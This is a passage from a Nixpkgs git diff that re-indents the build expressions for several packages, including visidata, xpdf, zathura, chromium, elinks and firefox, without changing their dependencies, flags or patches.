-      # from visidata/requirements.txt
-      # packages not (yet) present in nixpkgs are commented
-      python-dateutil
-      pandas
-      requests
-      lxml
-      openpyxl
-      xlrd
-      xlwt
-      h5py
-      psycopg2
-      boto3
-      pyshp
-      #mapbox-vector-tile
-      pypng
-      #pyconll
-      msgpack
-      brotli
-      #fecfile
-      fonttools
-      #sas7bdat
-      #xport
-      #savReaderWriter
-      pyyaml
-      #namestand
-      #datapackage
-      pdfminer-six
-      #tabula
-      vobject
-      tabulate
-      wcwidth
-      zstandard
-      odfpy
-      urllib3
-      pyarrow
-      seaborn
-      matplotlib
-      sh
-      psutil
-      numpy
+  propagatedBuildInputs = [
+    # from visidata/requirements.txt
+    # packages not (yet) present in nixpkgs are commented
+    python-dateutil
+    pandas
+    requests
+    lxml
+    openpyxl
+    xlrd
+    xlwt
+    h5py
+    psycopg2
+    boto3
+    pyshp
+    #mapbox-vector-tile
+    pypng
+    #pyconll
+    msgpack
+    brotli
+    #fecfile
+    fonttools
+    #sas7bdat
+    #xport
+    #savReaderWriter
+    pyyaml
+    #namestand
+    #datapackage
+    pdfminer-six
+    #tabula
+    vobject
+    tabulate
+    wcwidth
+    zstandard
+    odfpy
+    urllib3
+    pyarrow
+    seaborn
+    matplotlib
+    sh
+    psutil
+    numpy
 
-      #requests_cache
-      beautifulsoup4
+    #requests_cache
+    beautifulsoup4
 
-      faker
-      praw
-      zulip
-      #pyairtable
+    faker
+    praw
+    zulip
+    #pyairtable
 
-      setuptools
-      importlib-metadata
-    ]
-    ++ lib.optionals withPcap [
-      dpkt
-      dnslib
-    ]
-    ++ lib.optional withXclip xclip;
+    setuptools
+    importlib-metadata
+  ]
+  ++ lib.optionals withPcap [
+    dpkt
+    dnslib
+  ]
+  ++ lib.optional withXclip xclip;
 
   nativeCheckInputs = [
     gitMinimal
diff --git a/pkgs/applications/misc/xpdf/default.nix b/pkgs/applications/misc/xpdf/default.nix
index 172da584bd0e..b089e0c39426 100644
--- a/pkgs/applications/misc/xpdf/default.nix
+++ b/pkgs/applications/misc/xpdf/default.nix
@@ -46,16 +46,16 @@ stdenv.mkDerivation rec {
     "-DSYSTEM_XPDFRC=/etc/xpdfrc"
     "-DA4_PAPER=ON"
     "-DOPI_SUPPORT=ON"
-  ] ++ lib.optional (!enablePrinting) "-DXPDFWIDGET_PRINTING=OFF";
+  ]
+  ++ lib.optional (!enablePrinting) "-DXPDFWIDGET_PRINTING=OFF";
 
-  buildInputs =
-    [
-      zlib
-      libpng
-    ]
-    ++ lib.optional enableGUI qtbase
-    ++ lib.optional enablePrinting cups
-    ++ lib.optional enablePDFtoPPM freetype;
+  buildInputs = [
+    zlib
+    libpng
+  ]
+  ++ lib.optional enableGUI qtbase
+  ++ lib.optional enablePrinting cups
+  ++ lib.optional enablePDFtoPPM freetype;
 
   desktopItem = makeDesktopItem {
     name = "xpdf";
diff --git a/pkgs/applications/misc/xygrib/default.nix b/pkgs/applications/misc/xygrib/default.nix
index 4139a80696a4..a721ebfa285f 100644
--- a/pkgs/applications/misc/xygrib/default.nix
+++ b/pkgs/applications/misc/xygrib/default.nix
@@ -37,11 +37,10 @@ stdenv.mkDerivation {
     openjpeg
     libpng
   ];
-  cmakeFlags =
-    [
-      "-DOPENJPEG_INCLUDE_DIR=${openjpeg.dev}/include/openjpeg-${lib.versions.majorMinor openjpeg.version}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DLIBNOVA_LIBRARY=${libnova}/lib/libnova.dylib" ];
+  cmakeFlags = [
+    "-DOPENJPEG_INCLUDE_DIR=${openjpeg.dev}/include/openjpeg-${lib.versions.majorMinor openjpeg.version}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DLIBNOVA_LIBRARY=${libnova}/lib/libnova.dylib" ];
 
   postInstall =
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/applications/misc/zathura/core/default.nix b/pkgs/applications/misc/zathura/core/default.nix
index 3ca3f6b8655a..d4d61516ffa8 100644
--- a/pkgs/applications/misc/zathura/core/default.nix
+++ b/pkgs/applications/misc/zathura/core/default.nix
@@ -73,21 +73,20 @@ stdenv.mkDerivation (finalAttrs: {
     appstream-glib
   ];
 
-  buildInputs =
-    [
-      gtk3
-      girara
-      libintl
-      sqlite
-      glib
-      file
-      librsvg
-      check
-      json-glib
-      texlive.bin.core
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux libseccomp
-    ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration;
+  buildInputs = [
+    gtk3
+    girara
+    libintl
+    sqlite
+    glib
+    file
+    librsvg
+    check
+    json-glib
+    texlive.bin.core
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libseccomp
+  ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration;
 
   # add support for more image formats
   env.GDK_PIXBUF_MODULE_FILE = gnome._gdkPixbufCacheBuilder_DO_NOT_USE {
diff --git a/pkgs/applications/misc/zathura/pdf-mupdf/default.nix b/pkgs/applications/misc/zathura/pdf-mupdf/default.nix
index f0fd28d4a444..c17330dec6fe 100644
--- a/pkgs/applications/misc/zathura/pdf-mupdf/default.nix
+++ b/pkgs/applications/misc/zathura/pdf-mupdf/default.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation (finalAttrs: {
     tesseract
     leptonica
     mujs
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration;
 
   env.PKG_CONFIG_ZATHURA_PLUGINDIR = "lib/zathura";
 
diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index 1444ffc807e1..4196382f3af3 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -290,247 +290,243 @@ let
           nativeBuildInputs = p.nativeBuildInputs or [ ] ++ [ zstd ];
         });
 
-    nativeBuildInputs =
-      [
-        ninja
-        gnChromium
-        bashInteractive # needed for compgen in buildPhase -> process_template
-        pkg-config
-        python3WithPackages
-        perl
-        which
-        buildPackages.rustc.llvmPackages.bintools
-        bison
-        gperf
-      ]
-      ++ lib.optionals (!isElectron) [
-        nodejs
-        npmHooks.npmConfigHook
-      ];
+    nativeBuildInputs = [
+      ninja
+      gnChromium
+      bashInteractive # needed for compgen in buildPhase -> process_template
+      pkg-config
+      python3WithPackages
+      perl
+      which
+      buildPackages.rustc.llvmPackages.bintools
+      bison
+      gperf
+    ]
+    ++ lib.optionals (!isElectron) [
+      nodejs
+      npmHooks.npmConfigHook
+    ];
 
-    depsBuildBuild =
-      [
-        buildPlatformLlvmStdenv
-        buildPlatformLlvmStdenv.cc
-        pkg-config
-        libuuid
-      ]
-      # When cross-compiling, chromium builds a huge proportion of its
-      # components for both the `buildPlatform` (which it calls
-      # `host`) as well as for the `hostPlatform` -- easily more than
-      # half of the dependencies are needed here.  To avoid having to
-      # maintain a separate list of buildPlatform-dependencies, we
-      # simply throw in the kitchen sink.
-      # ** Because of overrides, we have to copy the list as it otherwise mess with splicing **
-      ++ [
-        (buildPackages.libpng.override { apngSupport = false; }) # https://bugs.chromium.org/p/chromium/issues/detail?id=752403
-        (buildPackages.libopus.override { withCustomModes = true; })
-        bzip2
-        flac
-        speex
-        libevent
-        expat
-        libjpeg
-        snappy
-        libcap
-        minizip
-        libwebp
-        libusb1
-        re2
-        ffmpeg
-        libxslt
-        libxml2
-        nasm
-        nspr
-        nss
-        util-linux
-        alsa-lib
-        libkrb5
-        glib
-        gtk3
-        dbus-glib
-        libXScrnSaver
-        libXcursor
-        libXtst
-        libxshmfence
-        libGLU
-        libGL
-        libgbm
-        pciutils
-        protobuf
-        speechd-minimal
-        libXdamage
-        at-spi2-core
-        pipewire
-        libva
-        libdrm
-        wayland
-        libxkbcommon
-        curl
-        libepoxy
-        libffi
-        libevdev
-      ]
-      ++ lib.optional systemdSupport systemd
-      ++ lib.optionals cupsSupport [
-        libgcrypt
-        cups
-      ]
-      ++ lib.optional pulseSupport libpulseaudio;
+    depsBuildBuild = [
+      buildPlatformLlvmStdenv
+      buildPlatformLlvmStdenv.cc
+      pkg-config
+      libuuid
+    ]
+    # When cross-compiling, chromium builds a huge proportion of its
+    # components for both the `buildPlatform` (which it calls
+    # `host`) as well as for the `hostPlatform` -- easily more than
+    # half of the dependencies are needed here.  To avoid having to
+    # maintain a separate list of buildPlatform-dependencies, we
+    # simply throw in the kitchen sink.
+    # ** Because of overrides, we have to copy the list as it otherwise mess with splicing **
+    ++ [
+      (buildPackages.libpng.override { apngSupport = false; }) # https://bugs.chromium.org/p/chromium/issues/detail?id=752403
+      (buildPackages.libopus.override { withCustomModes = true; })
+      bzip2
+      flac
+      speex
+      libevent
+      expat
+      libjpeg
+      snappy
+      libcap
+      minizip
+      libwebp
+      libusb1
+      re2
+      ffmpeg
+      libxslt
+      libxml2
+      nasm
+      nspr
+      nss
+      util-linux
+      alsa-lib
+      libkrb5
+      glib
+      gtk3
+      dbus-glib
+      libXScrnSaver
+      libXcursor
+      libXtst
+      libxshmfence
+      libGLU
+      libGL
+      libgbm
+      pciutils
+      protobuf
+      speechd-minimal
+      libXdamage
+      at-spi2-core
+      pipewire
+      libva
+      libdrm
+      wayland
+      libxkbcommon
+      curl
+      libepoxy
+      libffi
+      libevdev
+    ]
+    ++ lib.optional systemdSupport systemd
+    ++ lib.optionals cupsSupport [
+      libgcrypt
+      cups
+    ]
+    ++ lib.optional pulseSupport libpulseaudio;
 
-    buildInputs =
-      [
-        (libpng.override { apngSupport = false; }) # https://bugs.chromium.org/p/chromium/issues/detail?id=752403
-        (libopus.override { withCustomModes = true; })
-        bzip2
-        flac
-        speex
-        libevent
-        expat
-        libjpeg
-        snappy
-        libcap
-        minizip
-        libwebp
-        libusb1
-        re2
-        ffmpeg
-        libxslt
-        libxml2
-        nasm
-        nspr
-        nss
-        util-linux
-        alsa-lib
-        libkrb5
-        glib
-        gtk3
-        dbus-glib
-        libXScrnSaver
-        libXcursor
-        libXtst
-        libxshmfence
-        libGLU
-        libGL
-        dri-pkgconfig-stub
-        libgbm
-        pciutils
-        protobuf
-        speechd-minimal
-        libXdamage
-        at-spi2-core
-        pipewire
-        libva
-        libdrm
-        wayland
-        libxkbcommon
-        curl
-        libepoxy
-        libffi
-        libevdev
-      ]
-      ++ lib.optional systemdSupport systemd
-      ++ lib.optionals cupsSupport [
-        libgcrypt
-        cups
-      ]
-      ++ lib.optional pulseSupport libpulseaudio;
+    buildInputs = [
+      (libpng.override { apngSupport = false; }) # https://bugs.chromium.org/p/chromium/issues/detail?id=752403
+      (libopus.override { withCustomModes = true; })
+      bzip2
+      flac
+      speex
+      libevent
+      expat
+      libjpeg
+      snappy
+      libcap
+      minizip
+      libwebp
+      libusb1
+      re2
+      ffmpeg
+      libxslt
+      libxml2
+      nasm
+      nspr
+      nss
+      util-linux
+      alsa-lib
+      libkrb5
+      glib
+      gtk3
+      dbus-glib
+      libXScrnSaver
+      libXcursor
+      libXtst
+      libxshmfence
+      libGLU
+      libGL
+      dri-pkgconfig-stub
+      libgbm
+      pciutils
+      protobuf
+      speechd-minimal
+      libXdamage
+      at-spi2-core
+      pipewire
+      libva
+      libdrm
+      wayland
+      libxkbcommon
+      curl
+      libepoxy
+      libffi
+      libevdev
+    ]
+    ++ lib.optional systemdSupport systemd
+    ++ lib.optionals cupsSupport [
+      libgcrypt
+      cups
+    ]
+    ++ lib.optional pulseSupport libpulseaudio;
 
-    patches =
-      [
-        ./patches/cross-compile.patch
-        # Optional patch to use SOURCE_DATE_EPOCH in compute_build_timestamp.py (should be upstreamed):
-        ./patches/no-build-timestamps.patch
-      ]
-      ++ lib.optionals (!chromiumVersionAtLeast "136") [
-        # Fix build with Pipewire 1.4
-        # Submitted upstream: https://webrtc-review.googlesource.com/c/src/+/380500
-        # Got merged, started shipping with M136+.
-        ./patches/webrtc-pipewire-1.4.patch
-      ]
-      ++ lib.optionals (packageName == "chromium") [
-        # This patch is limited to chromium and ungoogled-chromium because electron-source sets
-        # enable_widevine to false.
-        #
-        # The patch disables the automatic Widevine download (component) that happens at runtime
-        # completely (~/.config/chromium/WidevineCdm/). This would happen if chromium encounters DRM
-        # protected content or when manually opening chrome://components.
-        #
-        # It also prevents previously downloaded Widevine blobs in that location from being loaded and
-        # used at all, while still allowing the use of our -wv wrapper. This is because those old
-        # versions are out of out our control and may be vulnerable, given we literally disable their
-        # auto updater.
-        #
-        # bundle_widevine_cdm is available as gn flag, but we cannot use it, as it expects a bunch of
-        # files Widevine files at configure/compile phase that we don't have. Changing the value of the
-        # BUNDLE_WIDEVINE_CDM build flag does work in the way we want though.
-        # We also need enable_widevine_cdm_component to be false. Unfortunately it isn't exposed as gn
-        # flag (declare_args) so we simply hardcode it to false.
-        ./patches/widevine-disable-auto-download-allow-bundle.patch
-      ]
-      ++ [
-        # Required to fix the build with a more recent wayland-protocols version
-        # (we currently package 1.26 in Nixpkgs while Chromium bundles 1.21):
-        # Source: https://bugs.chromium.org/p/angleproject/issues/detail?id=7582#c1
-        ./patches/angle-wayland-include-protocol.patch
-        # Chromium reads initial_preferences from its own executable directory
-        # This patch modifies it to read /etc/chromium/initial_preferences
-        ./patches/chromium-initial-prefs.patch
-        # https://github.com/chromium/chromium/commit/02b6456643700771597c00741937e22068b0f956
-        # https://github.com/chromium/chromium/commit/69736ffe943ff996d4a88d15eb30103a8c854e29
-        # Rebased variant of patch to build M126+ with LLVM 17.
-        # staging-next will bump LLVM to 18, so we will be able to drop this soon.
-        ./patches/chromium-126-llvm-17.patch
-        # Partial revert of https://github.com/chromium/chromium/commit/3687976b0c6d36cf4157419a24a39f6770098d61
-        # allowing us to use our rustc and our clang.
-        ./patches/chromium-129-rust.patch
-      ]
-      ++ lib.optionals (!ungoogled && !chromiumVersionAtLeast "136") [
-        # Note: We since use LLVM v19.1+ on unstable *and* release-24.11 for all version and as such
-        # no longer need this patch. We opt to arbitrarily limit it to versions prior to M136 just
-        # because that's when this revert stopped applying cleanly and defer fully dropping it for
-        # the next cleanup to bundle rebuilding all of chromium and electron.
-        #
-        # Our rustc.llvmPackages is too old for std::hardware_destructive_interference_size
-        # and std::hardware_constructive_interference_size.
-        # So let's revert the change for now and hope that our rustc.llvmPackages and
-        # nixpkgs-stable catch up sooner than later.
-        # https://groups.google.com/a/chromium.org/g/cxx/c/cwktrFxxUY4
-        # https://chromium-review.googlesource.com/c/chromium/src/+/5767325
-        # Note: We exclude the changes made to the partition_allocator (PA), as the revert
-        # would otherwise not apply because upstream reverted those changes to PA already
-        # in https://chromium-review.googlesource.com/c/chromium/src/+/5841144
-        # Note: ungoogled-chromium already reverts this as part of its patchset.
-        (githubPatch {
-          commit = "fc838e8cc887adbe95110045d146b9d5885bf2a9";
-          hash = "sha256-NNKzIp6NYdeZaqBLWDW/qNxiDB1VFRz7msjMXuMOrZ8=";
-          excludes = [ "base/allocator/partition_allocator/src/partition_alloc/*" ];
-          revert = true;
-        })
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-        # Reverts decommit pooled pages which causes random crashes of tabs on systems
-        # with page sizes different than 4k. It 'supports' runtime page sizes, but has
-        # a hardcode for aarch64 systems.
-        # https://issues.chromium.org/issues/378017037
-        (fetchpatch {
-          name = "reverted-v8-decommit-pooled-paged-by-default.patch";
-          # https://chromium-review.googlesource.com/c/v8/v8/+/5864909
-          url = "https://chromium.googlesource.com/v8/v8/+/1ab1a14ad97394d384d8dc6de51bb229625e66d6^!?format=TEXT";
-          decode = "base64 -d";
-          stripLen = 1;
-          extraPrefix = "v8/";
-          revert = true;
-          hash = "sha256-PuinMLhJ2W4KPXI5K0ujw85ENTB1wG7Hv785SZ55xnY=";
-        })
-      ]
-      ++ lib.optionals (chromiumVersionAtLeast "136") [
-        # Modify the nodejs version check added in https://chromium-review.googlesource.com/c/chromium/src/+/6334038
-        # to look for the minimal version, not the exact version (major.minor.patch). The linked CL makes a case for
-        # preventing compilations of chromium with versions below their intended version, not about running the very
-        # exact version or even running a newer version.
-        ./patches/chromium-136-nodejs-assert-minimal-version-instead-of-exact-match.patch
-      ];
+    patches = [
+      ./patches/cross-compile.patch
+      # Optional patch to use SOURCE_DATE_EPOCH in compute_build_timestamp.py (should be upstreamed):
+      ./patches/no-build-timestamps.patch
+    ]
+    ++ lib.optionals (!chromiumVersionAtLeast "136") [
+      # Fix build with Pipewire 1.4
+      # Submitted upstream: https://webrtc-review.googlesource.com/c/src/+/380500
+      # Got merged, started shipping with M136+.
+      ./patches/webrtc-pipewire-1.4.patch
+    ]
+    ++ lib.optionals (packageName == "chromium") [
+      # This patch is limited to chromium and ungoogled-chromium because electron-source sets
+      # enable_widevine to false.
+      #
+      # The patch disables the automatic Widevine download (component) that happens at runtime
+      # completely (~/.config/chromium/WidevineCdm/). This would happen if chromium encounters DRM
+      # protected content or when manually opening chrome://components.
+      #
+      # It also prevents previously downloaded Widevine blobs in that location from being loaded and
+      # used at all, while still allowing the use of our -wv wrapper. This is because those old
+      # versions are out of out our control and may be vulnerable, given we literally disable their
+      # auto updater.
+      #
+      # bundle_widevine_cdm is available as gn flag, but we cannot use it, as it expects a bunch of
+      # files Widevine files at configure/compile phase that we don't have. Changing the value of the
+      # BUNDLE_WIDEVINE_CDM build flag does work in the way we want though.
+      # We also need enable_widevine_cdm_component to be false. Unfortunately it isn't exposed as gn
+      # flag (declare_args) so we simply hardcode it to false.
+      ./patches/widevine-disable-auto-download-allow-bundle.patch
+    ]
+    ++ [
+      # Required to fix the build with a more recent wayland-protocols version
+      # (we currently package 1.26 in Nixpkgs while Chromium bundles 1.21):
+      # Source: https://bugs.chromium.org/p/angleproject/issues/detail?id=7582#c1
+      ./patches/angle-wayland-include-protocol.patch
+      # Chromium reads initial_preferences from its own executable directory
+      # This patch modifies it to read /etc/chromium/initial_preferences
+      ./patches/chromium-initial-prefs.patch
+      # https://github.com/chromium/chromium/commit/02b6456643700771597c00741937e22068b0f956
+      # https://github.com/chromium/chromium/commit/69736ffe943ff996d4a88d15eb30103a8c854e29
+      # Rebased variant of patch to build M126+ with LLVM 17.
+      # staging-next will bump LLVM to 18, so we will be able to drop this soon.
+      ./patches/chromium-126-llvm-17.patch
+      # Partial revert of https://github.com/chromium/chromium/commit/3687976b0c6d36cf4157419a24a39f6770098d61
+      # allowing us to use our rustc and our clang.
+      ./patches/chromium-129-rust.patch
+    ]
+    ++ lib.optionals (!ungoogled && !chromiumVersionAtLeast "136") [
+      # Note: We since use LLVM v19.1+ on unstable *and* release-24.11 for all version and as such
+      # no longer need this patch. We opt to arbitrarily limit it to versions prior to M136 just
+      # because that's when this revert stopped applying cleanly and defer fully dropping it for
+      # the next cleanup to bundle rebuilding all of chromium and electron.
+      #
+      # Our rustc.llvmPackages is too old for std::hardware_destructive_interference_size
+      # and std::hardware_constructive_interference_size.
+      # So let's revert the change for now and hope that our rustc.llvmPackages and
+      # nixpkgs-stable catch up sooner than later.
+      # https://groups.google.com/a/chromium.org/g/cxx/c/cwktrFxxUY4
+      # https://chromium-review.googlesource.com/c/chromium/src/+/5767325
+      # Note: We exclude the changes made to the partition_allocator (PA), as the revert
+      # would otherwise not apply because upstream reverted those changes to PA already
+      # in https://chromium-review.googlesource.com/c/chromium/src/+/5841144
+      # Note: ungoogled-chromium already reverts this as part of its patchset.
+      (githubPatch {
+        commit = "fc838e8cc887adbe95110045d146b9d5885bf2a9";
+        hash = "sha256-NNKzIp6NYdeZaqBLWDW/qNxiDB1VFRz7msjMXuMOrZ8=";
+        excludes = [ "base/allocator/partition_allocator/src/partition_alloc/*" ];
+        revert = true;
+      })
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+      # Reverts decommit pooled pages which causes random crashes of tabs on systems
+      # with page sizes different than 4k. It 'supports' runtime page sizes, but has
+      # a hardcode for aarch64 systems.
+      # https://issues.chromium.org/issues/378017037
+      (fetchpatch {
+        name = "reverted-v8-decommit-pooled-paged-by-default.patch";
+        # https://chromium-review.googlesource.com/c/v8/v8/+/5864909
+        url = "https://chromium.googlesource.com/v8/v8/+/1ab1a14ad97394d384d8dc6de51bb229625e66d6^!?format=TEXT";
+        decode = "base64 -d";
+        stripLen = 1;
+        extraPrefix = "v8/";
+        revert = true;
+        hash = "sha256-PuinMLhJ2W4KPXI5K0ujw85ENTB1wG7Hv785SZ55xnY=";
+      })
+    ]
+    ++ lib.optionals (chromiumVersionAtLeast "136") [
+      # Modify the nodejs version check added in https://chromium-review.googlesource.com/c/chromium/src/+/6334038
+      # to look for the minimal version, not the exact version (major.minor.patch). The linked CL makes a case for
+      # preventing compilations of chromium with versions below their intended version, not about running the very
+      # exact version or even running a newer version.
+      ./patches/chromium-136-nodejs-assert-minimal-version-instead-of-exact-match.patch
+    ];
 
     postPatch =
       lib.optionalString (!isElectron)
@@ -793,16 +789,15 @@ let
     # Our rustc in nixpkgs follows stable, but since bootstrapping rustc requires
     # nightly features too, we can (ab-)use RUSTC_BOOTSTRAP here as well to
     # enable those features in our stable builds.
-    preConfigure =
-      ''
-        export RUSTC_BOOTSTRAP=1
-      ''
-      + lib.optionalString (!isElectron) ''
-        (
-          cd third_party/node
-          grep patch update_npm_deps | sh
-        )
-      '';
+    preConfigure = ''
+      export RUSTC_BOOTSTRAP=1
+    ''
+    + lib.optionalString (!isElectron) ''
+      (
+        cd third_party/node
+        grep patch update_npm_deps | sh
+      )
+    '';
 
     configurePhase = ''
       runHook preConfigure
@@ -870,13 +865,12 @@ let
       ln -s -t "$libExecPath" "${lib.getLib vulkan-loader}/lib/libvulkan.so.1"
     '';
 
-    passthru =
-      {
-        updateScript = ./update.mjs;
-      }
-      // lib.optionalAttrs (!isElectron) {
-        inherit chromiumDeps npmDeps;
-      };
+    passthru = {
+      updateScript = ./update.mjs;
+    }
+    // lib.optionalAttrs (!isElectron) {
+      inherit chromiumDeps npmDeps;
+    };
   };
 
 in
diff --git a/pkgs/applications/networking/browsers/elinks/default.nix b/pkgs/applications/networking/browsers/elinks/default.nix
index 7bececfc29de..a25d95e76172 100644
--- a/pkgs/applications/networking/browsers/elinks/default.nix
+++ b/pkgs/applications/networking/browsers/elinks/default.nix
@@ -42,25 +42,24 @@ stdenv.mkDerivation rec {
     hash = "sha256-TTb/v24gIWKiCQCESHo0Pz6rvRtw5anoXK0b35dzfLM=";
   };
 
-  buildInputs =
-    [
-      ncurses
-      libX11
-      bzip2
-      zlib
-      brotli
-      zstd
-      xz
-      openssl
-      libidn
-      tre
-      expat
-      libev
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux gpm
-    ++ lib.optional enableGuile guile
-    ++ lib.optional enablePython python
-    ++ lib.optional enablePerl perl;
+  buildInputs = [
+    ncurses
+    libX11
+    bzip2
+    zlib
+    brotli
+    zstd
+    xz
+    openssl
+    libidn
+    tre
+    expat
+    libev
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux gpm
+  ++ lib.optional enableGuile guile
+  ++ lib.optional enablePython python
+  ++ lib.optional enablePerl perl;
 
   nativeBuildInputs = [
     autoreconfHook
@@ -68,25 +67,24 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  configureFlags =
-    [
-      "--enable-finger"
-      "--enable-html-highlight"
-      "--enable-gopher"
-      "--enable-gemini"
-      "--enable-cgi"
-      "--enable-bittorrent"
-      "--enable-nntp"
-      "--enable-256-colors"
-      "--enable-true-color"
-      "--with-brotli"
-      "--with-lzma"
-      "--with-libev"
-      "--with-terminfo"
-    ]
-    ++ lib.optional enableGuile "--with-guile"
-    ++ lib.optional enablePython "--with-python"
-    ++ lib.optional enablePerl "--with-perl";
+  configureFlags = [
+    "--enable-finger"
+    "--enable-html-highlight"
+    "--enable-gopher"
+    "--enable-gemini"
+    "--enable-cgi"
+    "--enable-bittorrent"
+    "--enable-nntp"
+    "--enable-256-colors"
+    "--enable-true-color"
+    "--with-brotli"
+    "--with-lzma"
+    "--with-libev"
+    "--with-terminfo"
+  ]
+  ++ lib.optional enableGuile "--with-guile"
+  ++ lib.optional enablePython "--with-python"
+  ++ lib.optional enablePerl "--with-perl";
 
   meta = with lib; {
     description = "Full-featured text-mode web browser";
diff --git a/pkgs/applications/networking/browsers/firefox-bin/default.nix b/pkgs/applications/networking/browsers/firefox-bin/default.nix
index 6d53fa9e73b2..f3dd8b091e08 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/default.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/default.nix
@@ -52,7 +52,8 @@ let
 
   policies = {
     DisableAppUpdate = true;
-  } // config.firefox.policies or { };
+  }
+  // config.firefox.policies or { };
 
   policiesJson = writeText "firefox-policies.json" (builtins.toJSON { inherit policies; });
 
@@ -76,17 +77,16 @@ stdenv.mkDerivation {
 
   sourceRoot = lib.optional stdenv.hostPlatform.isDarwin ".";
 
-  nativeBuildInputs =
-    [
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      autoPatchelfHook
-      patchelfUnstable
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      undmg
-    ];
+  nativeBuildInputs = [
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    autoPatchelfHook
+    patchelfUnstable
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    undmg
+  ];
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [
     gtk3
     adwaita-icon-theme
@@ -94,14 +94,13 @@ stdenv.mkDerivation {
     dbus-glib
     libXtst
   ];
-  runtimeDependencies =
-    [
-      curl
-      pciutils
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libva.out
-    ];
+  runtimeDependencies = [
+    curl
+    pciutils
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libva.out
+  ];
   appendRunpaths = lib.optionals (!stdenv.hostPlatform.isDarwin) [
     "${pipewire}/lib"
   ];
diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/applications/networking/browsers/firefox/common.nix
index b51cc38cbc0d..80c185d12f65 100644
--- a/pkgs/applications/networking/browsers/firefox/common.nix
+++ b/pkgs/applications/networking/browsers/firefox/common.nix
@@ -292,7 +292,8 @@ buildStdenv.mkDerivation {
 
   outputs = [
     "out"
-  ] ++ lib.optionals crashreporterSupport [ "symbols" ];
+  ]
+  ++ lib.optionals crashreporterSupport [ "symbols" ];
 
   # Add another configure-build-profiling run before the final configure phase if we build with pgo
   preConfigurePhases = lib.optionals pgoSupport [
@@ -336,16 +337,15 @@ buildStdenv.mkDerivation {
     ]
     ++ extraPatches;
 
-  postPatch =
-    ''
-      rm -rf obj-x86_64-pc-linux-gnu
-      patchShebangs mach build
-    ''
-    # https://bugzilla.mozilla.org/show_bug.cgi?id=1927380
-    + lib.optionalString (lib.versionAtLeast version "134") ''
-      sed -i "s/icu-i18n/icu-uc &/" js/moz.configure
-    ''
-    + extraPostPatch;
+  postPatch = ''
+    rm -rf obj-x86_64-pc-linux-gnu
+    patchShebangs mach build
+  ''
+  # https://bugzilla.mozilla.org/show_bug.cgi?id=1927380
+  + lib.optionalString (lib.versionAtLeast version "134") ''
+    sed -i "s/icu-i18n/icu-uc &/" js/moz.configure
+  ''
+  + extraPostPatch;
 
   # Ignore trivial whitespace changes in patches, this fixes compatibility of
   # ./env_var_for_system_dir-*.patch with Firefox >=65 without having to track
@@ -359,236 +359,232 @@ buildStdenv.mkDerivation {
   HOST_CC = "${llvmPackagesBuildBuild.stdenv.cc}/bin/cc";
   HOST_CXX = "${llvmPackagesBuildBuild.stdenv.cc}/bin/c++";
 
-  nativeBuildInputs =
-    [
-      autoconf
-      cargo
-      gnum4
-      llvmPackagesBuildBuild.bintools
-      makeWrapper
-      nodejs
-      perl
-      python3
-      rust-cbindgen
-      rustPlatform.bindgenHook
-      rustc
-      unzip
-      which
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ pkg-config ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ rsync ]
-    ++ lib.optionals stdenv.hostPlatform.isx86 [ nasm ]
-    ++ lib.optionals crashreporterSupport [
-      dump_syms
-      patchelf
-    ]
-    ++ lib.optionals pgoSupport [ xvfb-run ]
-    ++ extraNativeBuildInputs;
+  nativeBuildInputs = [
+    autoconf
+    cargo
+    gnum4
+    llvmPackagesBuildBuild.bintools
+    makeWrapper
+    nodejs
+    perl
+    python3
+    rust-cbindgen
+    rustPlatform.bindgenHook
+    rustc
+    unzip
+    which
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ pkg-config ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ rsync ]
+  ++ lib.optionals stdenv.hostPlatform.isx86 [ nasm ]
+  ++ lib.optionals crashreporterSupport [
+    dump_syms
+    patchelf
+  ]
+  ++ lib.optionals pgoSupport [ xvfb-run ]
+  ++ extraNativeBuildInputs;
 
   setOutputFlags = false; # `./mach configure` doesn't understand `--*dir=` flags.
 
-  preConfigure =
-    ''
-      # Runs autoconf through ./mach configure in configurePhase
-      configureScript="$(realpath ./mach) configure"
+  preConfigure = ''
+    # Runs autoconf through ./mach configure in configurePhase
+    configureScript="$(realpath ./mach) configure"
 
-      # Set reproducible build date; https://bugzilla.mozilla.org/show_bug.cgi?id=885777#c21
-      export MOZ_BUILD_DATE=$(head -n1 sourcestamp.txt)
+    # Set reproducible build date; https://bugzilla.mozilla.org/show_bug.cgi?id=885777#c21
